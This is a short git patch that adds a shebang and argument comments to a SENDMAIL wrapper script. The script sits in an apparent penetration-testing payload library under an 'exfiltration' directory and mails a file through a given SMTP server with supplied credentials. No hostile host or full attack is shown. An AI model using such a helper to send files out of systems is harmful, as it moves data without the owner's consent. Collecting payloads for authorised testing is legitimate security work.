From 349d442f5bc41f13f8a72302698ee529b2f654d8 Mon Sep 17 00:00:00 2001 From: TheDragonkeeper Date: Tue, 7 Nov 2017 23:05:11 +0000 Subject: [PATCH] Update SENDMAIL --- payloads/library/exfiltration/Email-Sender/SENDMAIL | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/payloads/library/exfiltration/Email-Sender/SENDMAIL b/payloads/library/exfiltration/Email-Sender/SENDMAIL index f8228f1..85224a7 100644 --- a/payloads/library/exfiltration/Email-Sender/SENDMAIL +++ b/payloads/library/exfiltration/Email-Sender/SENDMAIL @@ -1,2 +1,7 @@ +#!/bin/bash + [[ -z $8 ]] && python /usr/bin/sendemail.py "$1" "$2" "$3" "$4" "$5" "$6" "$7" [[ ! -z $8 ]] && python /usr/bin/sendemail.py "$1" "$2" "$3" "$4" "$5" "$6" "$7" "$8" + +### $1 $2 $3 $4 $5 $6 $7 $8 +### $FROM $RCPT "$SUBJECT" "$BODY" $SERVER $USER $PASS "$FILE"